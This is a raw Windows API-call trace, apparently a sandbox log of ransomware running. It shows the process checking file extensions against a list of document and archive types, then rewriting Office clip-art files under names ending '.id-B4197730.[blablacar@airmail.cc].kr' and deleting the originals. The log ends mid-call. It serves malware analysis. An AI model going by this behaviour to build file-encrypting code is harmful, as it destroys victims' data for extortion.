[0185.860] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_06.MID") returned 68 [0185.860] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_06.MID") returned 68 [0185.860] lstrlenW (lpString=".doc") returned 4 [0185.860] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0185.860] lstrlenW (lpString=".docx") returned 5 [0185.860] lstrcmpiW (lpString1=".docx", lpString2="6.MID") returned -1 [0185.860] lstrlenW (lpString=".pdf") returned 4 [0185.860] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0185.860] lstrlenW (lpString=".xls") returned 4 [0185.860] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0185.860] lstrlenW (lpString=".xlsx") returned 5 [0185.860] lstrcmpiW (lpString1=".xlsx", lpString2="6.MID") returned -1 [0185.860] lstrlenW (lpString=".ppt") returned 4 [0185.860] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0185.860] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_06.MID") returned 68 [0185.860] lstrlenW (lpString=".zip") returned 4 [0185.860] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0185.860] lstrlenW (lpString=".rar") returned 4 [0185.860] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0185.861] lstrlenW (lpString=".bz2") returned 4 [0185.861] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0185.861] lstrlenW (lpString=".7z") returned 3 [0185.861] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0185.861] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_06.MID") returned 68 [0185.861] lstrlenW (lpString=".dbf") returned 4 [0185.861] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0185.861] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_06.MID") returned 68 [0185.861] lstrlenW (lpString=".1cd") returned 4 [0185.861] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0185.861] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_06.MID") returned 68 [0185.861] lstrlenW (lpString=".jpg") returned 4 [0185.861] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0185.861] lstrcmpiW (lpString1=".MID", lpString2=".kr") returned 1 [0185.861] lstrlenW (lpString="PARNT_09.MID") returned 12 [0185.861] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_09.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\parnt_09.mid"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x450 [0185.903] GetFileSizeEx (in: hFile=0x450, lpFileSize=0x313ff14 | out: lpFileSize=0x313ff14*=6764) returned 1 [0185.903] CloseHandle (hObject=0x450) returned 1 [0185.903] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_09.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\parnt_09.mid")) returned 0x220 [0185.903] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_09.MID.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\parnt_09.mid.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0185.904] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_09.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\parnt_09.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x450 [0185.904] SetFilePointerEx (in: hFile=0x450, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0185.904] SetFilePointerEx (in: hFile=0x450, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0185.904] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_09.MID.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\parnt_09.mid.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x540 [0185.909] GetLastError () returned 0x0 [0185.909] ReadFile (in: hFile=0x450, lpBuffer=0x3d55020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d55020*, lpNumberOfBytesRead=0x313fecc*=0x1a6c, lpOverlapped=0x0) returned 1 [0185.991] WriteFile (in: hFile=0x540, lpBuffer=0x3d55020*, nNumberOfBytesToWrite=0x1a70, lpNumberOfBytesWritten=0x313fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d55020*, lpNumberOfBytesWritten=0x313fc94*=0x1a70, lpOverlapped=0x0) returned 1 [0185.992] ReadFile (in: hFile=0x450, lpBuffer=0x3d55020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d55020*, lpNumberOfBytesRead=0x313fecc*=0x0, lpOverlapped=0x0) returned 1 [0185.992] WriteFile (in: hFile=0x540, lpBuffer=0x3d55020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x313fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d55020*, lpNumberOfBytesWritten=0x313fc94*=0xec, lpOverlapped=0x0) returned 1 [0185.992] SetEndOfFile (hFile=0x540) returned 1 [0185.993] CloseHandle (hObject=0x540) returned 1 [0185.993] SetFilePointerEx (in: hFile=0x450, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0185.993] SetEndOfFile (hFile=0x450) returned 1 [0185.995] CloseHandle (hObject=0x450) returned 1 [0185.995] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_09.MID.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0185.996] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_09.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\parnt_09.mid")) returned 1 [0185.996] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_09.MID") returned 68 [0185.996] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_09.MID") returned 68 [0185.996] lstrlenW (lpString=".doc") returned 4 [0185.996] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0185.996] lstrlenW (lpString=".docx") returned 5 [0185.996] lstrcmpiW (lpString1=".docx", lpString2="9.MID") returned -1 [0185.996] lstrlenW (lpString=".pdf") returned 4 [0185.996] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0185.996] lstrlenW (lpString=".xls") returned 4 [0185.996] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0185.997] lstrlenW (lpString=".xlsx") returned 5 [0185.997] lstrcmpiW (lpString1=".xlsx", lpString2="9.MID") returned -1 [0185.997] lstrlenW (lpString=".ppt") returned 4 [0185.997] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0185.997] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_09.MID") returned 68 [0185.997] lstrlenW (lpString=".zip") returned 4 [0185.997] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0185.997] lstrlenW (lpString=".rar") returned 4 [0185.997] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0185.997] lstrlenW (lpString=".bz2") returned 4 [0185.997] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0185.997] lstrlenW (lpString=".7z") returned 3 [0185.997] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0185.997] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_09.MID") returned 68 [0185.997] lstrlenW (lpString=".dbf") returned 4 [0185.997] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0185.997] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_09.MID") returned 68 [0185.997] lstrlenW (lpString=".1cd") returned 4 [0185.997] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0185.997] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_09.MID") returned 68 [0185.997] lstrlenW (lpString=".jpg") returned 4 [0185.997] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0185.998] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_09.MID") returned 68 [0185.998] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_09.MID") returned 68 [0185.998] lstrlenW (lpString=".doc") returned 4 [0185.998] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0185.998] lstrlenW (lpString=".docx") returned 5 [0185.998] lstrcmpiW (lpString1=".docx", lpString2="9.MID") returned -1 [0185.998] lstrlenW (lpString=".pdf") returned 4 [0185.998] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0185.998] lstrlenW (lpString=".xls") returned 4 [0185.998] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0185.998] lstrlenW (lpString=".xlsx") returned 5 [0185.998] lstrcmpiW (lpString1=".xlsx", lpString2="9.MID") returned -1 [0185.998] lstrlenW (lpString=".ppt") returned 4 [0185.998] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0185.998] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_09.MID") returned 68 [0185.998] lstrlenW (lpString=".zip") returned 4 [0185.998] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0185.998] lstrlenW (lpString=".rar") returned 4 [0185.998] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0185.998] lstrlenW (lpString=".bz2") returned 4 [0185.998] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0185.998] lstrlenW (lpString=".7z") returned 3 [0185.998] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0185.998] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_09.MID") returned 68 [0185.998] lstrlenW (lpString=".dbf") returned 4 [0185.998] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0185.998] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_09.MID") returned 68 [0185.998] lstrlenW (lpString=".1cd") returned 4 [0185.998] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0185.998] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_09.MID") returned 68 [0185.998] lstrlenW (lpString=".jpg") returned 4 [0185.998] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0185.999] lstrcmpiW (lpString1=".MID", lpString2=".kr") returned 1 [0185.999] lstrlenW (lpString="PARNT_10.MID") returned 12 [0185.999] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_10.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\parnt_10.mid"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x450 [0186.000] GetFileSizeEx (in: hFile=0x450, lpFileSize=0x313ff14 | out: lpFileSize=0x313ff14*=5393) returned 1 [0186.000] CloseHandle (hObject=0x450) returned 1 [0186.000] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_10.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\parnt_10.mid")) returned 0x220 [0186.000] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_10.MID.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\parnt_10.mid.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0186.000] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_10.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\parnt_10.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x450 [0186.000] SetFilePointerEx (in: hFile=0x450, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0186.000] SetFilePointerEx (in: hFile=0x450, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0186.000] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_10.MID.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\parnt_10.mid.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x540 [0186.001] GetLastError () returned 0x0 [0186.001] ReadFile (in: hFile=0x450, lpBuffer=0x3d55020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d55020*, lpNumberOfBytesRead=0x313fecc*=0x1511, lpOverlapped=0x0) returned 1 [0186.046] WriteFile (in: hFile=0x540, lpBuffer=0x3d55020*, nNumberOfBytesToWrite=0x1520, lpNumberOfBytesWritten=0x313fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d55020*, lpNumberOfBytesWritten=0x313fc94*=0x1520, lpOverlapped=0x0) returned 1 [0186.047] ReadFile (in: hFile=0x450, lpBuffer=0x3d55020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d55020*, lpNumberOfBytesRead=0x313fecc*=0x0, lpOverlapped=0x0) returned 1 [0186.048] WriteFile (in: hFile=0x540, lpBuffer=0x3d55020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x313fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d55020*, lpNumberOfBytesWritten=0x313fc94*=0xec, lpOverlapped=0x0) returned 1 [0186.048] SetEndOfFile (hFile=0x540) returned 1 [0186.048] CloseHandle (hObject=0x540) returned 1 [0186.048] SetFilePointerEx (in: hFile=0x450, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0186.048] SetEndOfFile (hFile=0x450) returned 1 [0186.051] CloseHandle (hObject=0x450) returned 1 [0186.051] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_10.MID.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0186.054] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_10.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\parnt_10.mid")) returned 1 [0186.055] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_10.MID") returned 68 [0186.055] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_10.MID") returned 68 [0186.055] lstrlenW (lpString=".doc") returned 4 [0186.055] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0186.055] lstrlenW (lpString=".docx") returned 5 [0186.055] lstrcmpiW (lpString1=".docx", lpString2="0.MID") returned -1 [0186.055] lstrlenW (lpString=".pdf") returned 4 [0186.055] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0186.055] lstrlenW (lpString=".xls") returned 4 [0186.055] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0186.055] lstrlenW (lpString=".xlsx") returned 5 [0186.055] lstrcmpiW (lpString1=".xlsx", lpString2="0.MID") returned -1 [0186.055] lstrlenW (lpString=".ppt") returned 4 [0186.055] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0186.055] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_10.MID") returned 68 [0186.055] lstrlenW (lpString=".zip") returned 4 [0186.055] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0186.055] lstrlenW (lpString=".rar") returned 4 [0186.055] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0186.055] lstrlenW (lpString=".bz2") returned 4 [0186.055] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0186.055] lstrlenW (lpString=".7z") returned 3 [0186.055] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0186.055] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_10.MID") returned 68 [0186.055] lstrlenW (lpString=".dbf") returned 4 [0186.055] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0186.055] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_10.MID") returned 68 [0186.055] lstrlenW (lpString=".1cd") returned 4 [0186.055] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0186.056] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_10.MID") returned 68 [0186.056] lstrlenW (lpString=".jpg") returned 4 [0186.056] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0186.056] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_10.MID") returned 68 [0186.056] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_10.MID") returned 68 [0186.056] lstrlenW (lpString=".doc") returned 4 [0186.056] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0186.056] lstrlenW (lpString=".docx") returned 5 [0186.056] lstrcmpiW (lpString1=".docx", lpString2="0.MID") returned -1 [0186.056] lstrlenW (lpString=".pdf") returned 4 [0186.056] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0186.056] lstrlenW (lpString=".xls") returned 4 [0186.056] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0186.056] lstrlenW (lpString=".xlsx") returned 5 [0186.056] lstrcmpiW (lpString1=".xlsx", lpString2="0.MID") returned -1 [0186.056] lstrlenW (lpString=".ppt") returned 4 [0186.056] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0186.056] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_10.MID") returned 68 [0186.056] lstrlenW (lpString=".zip") returned 4 [0186.056] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0186.056] lstrlenW (lpString=".rar") returned 4 [0186.056] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0186.056] lstrlenW (lpString=".bz2") returned 4 [0186.056] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0186.056] lstrlenW (lpString=".7z") returned 3 [0186.056] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0186.056] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_10.MID") returned 68 [0186.056] lstrlenW (lpString=".dbf") returned 4 [0186.056] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0186.056] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_10.MID") returned 68 [0186.056] lstrlenW (lpString=".1cd") returned 4 [0186.056] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0186.057] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_10.MID") returned 68 [0186.057] lstrlenW (lpString=".jpg") returned 4 [0186.057] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0186.057] lstrcmpiW (lpString1=".MID", lpString2=".kr") returned 1 [0186.057] lstrlenW (lpString="ROAD_01.MID") returned 11 [0186.057] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ROAD_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\road_01.mid"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x450 [0186.059] GetFileSizeEx (in: hFile=0x450, lpFileSize=0x313ff14 | out: lpFileSize=0x313ff14*=5983) returned 1 [0186.059] CloseHandle (hObject=0x450) returned 1 [0186.059] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ROAD_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\road_01.mid")) returned 0x220 [0186.059] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ROAD_01.MID.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\road_01.mid.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0186.059] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ROAD_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\road_01.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x450 [0186.060] SetFilePointerEx (in: hFile=0x450, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0186.060] SetFilePointerEx (in: hFile=0x450, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0186.060] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ROAD_01.MID.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\road_01.mid.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x540 [0186.060] GetLastError () returned 0x0 [0186.060] ReadFile (in: hFile=0x450, lpBuffer=0x3d55020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d55020*, lpNumberOfBytesRead=0x313fecc*=0x175f, lpOverlapped=0x0) returned 1 [0186.062] WriteFile (in: hFile=0x540, lpBuffer=0x3d55020*, nNumberOfBytesToWrite=0x1760, lpNumberOfBytesWritten=0x313fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d55020*, lpNumberOfBytesWritten=0x313fc94*=0x1760, lpOverlapped=0x0) returned 1 [0186.063] ReadFile (in: hFile=0x450, lpBuffer=0x3d55020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d55020*, lpNumberOfBytesRead=0x313fecc*=0x0, lpOverlapped=0x0) returned 1 [0186.063] WriteFile (in: hFile=0x540, lpBuffer=0x3d55020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x313fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d55020*, lpNumberOfBytesWritten=0x313fc94*=0xea, lpOverlapped=0x0) returned 1 [0186.064] SetEndOfFile (hFile=0x540) returned 1 [0186.064] CloseHandle (hObject=0x540) returned 1 [0186.064] SetFilePointerEx (in: hFile=0x450, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0186.064] SetEndOfFile (hFile=0x450) returned 1 [0186.067] CloseHandle (hObject=0x450) returned 1 [0186.067] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ROAD_01.MID.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0186.067] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ROAD_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\road_01.mid")) returned 1 [0186.076] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ROAD_01.MID") returned 67 [0186.076] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ROAD_01.MID") returned 67 [0186.076] lstrlenW (lpString=".doc") returned 4 [0186.076] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0186.076] lstrlenW (lpString=".docx") returned 5 [0186.076] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0186.076] lstrlenW (lpString=".pdf") returned 4 [0186.076] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0186.076] lstrlenW (lpString=".xls") returned 4 [0186.076] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0186.076] lstrlenW (lpString=".xlsx") returned 5 [0186.076] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0186.076] lstrlenW (lpString=".ppt") returned 4 [0186.076] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0186.076] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ROAD_01.MID") returned 67 [0186.076] lstrlenW (lpString=".zip") returned 4 [0186.076] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0186.076] lstrlenW (lpString=".rar") returned 4 [0186.077] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0186.077] lstrlenW (lpString=".bz2") returned 4 [0186.077] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0186.077] lstrlenW (lpString=".7z") returned 3 [0186.077] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0186.077] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ROAD_01.MID") returned 67 [0186.077] lstrlenW (lpString=".dbf") returned 4 [0186.077] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0186.077] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ROAD_01.MID") returned 67 [0186.077] lstrlenW (lpString=".1cd") returned 4 [0186.077] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0186.077] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ROAD_01.MID") returned 67 [0186.077] lstrlenW (lpString=".jpg") returned 4 [0186.077] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0186.077] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ROAD_01.MID") returned 67 [0186.077] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ROAD_01.MID") returned 67 [0186.077] lstrlenW (lpString=".doc") returned 4 [0186.077] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0186.077] lstrlenW (lpString=".docx") returned 5 [0186.077] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0186.077] lstrlenW (lpString=".pdf") returned 4 [0186.077] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0186.077] lstrlenW (lpString=".xls") returned 4 [0186.077] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0186.077] lstrlenW (lpString=".xlsx") 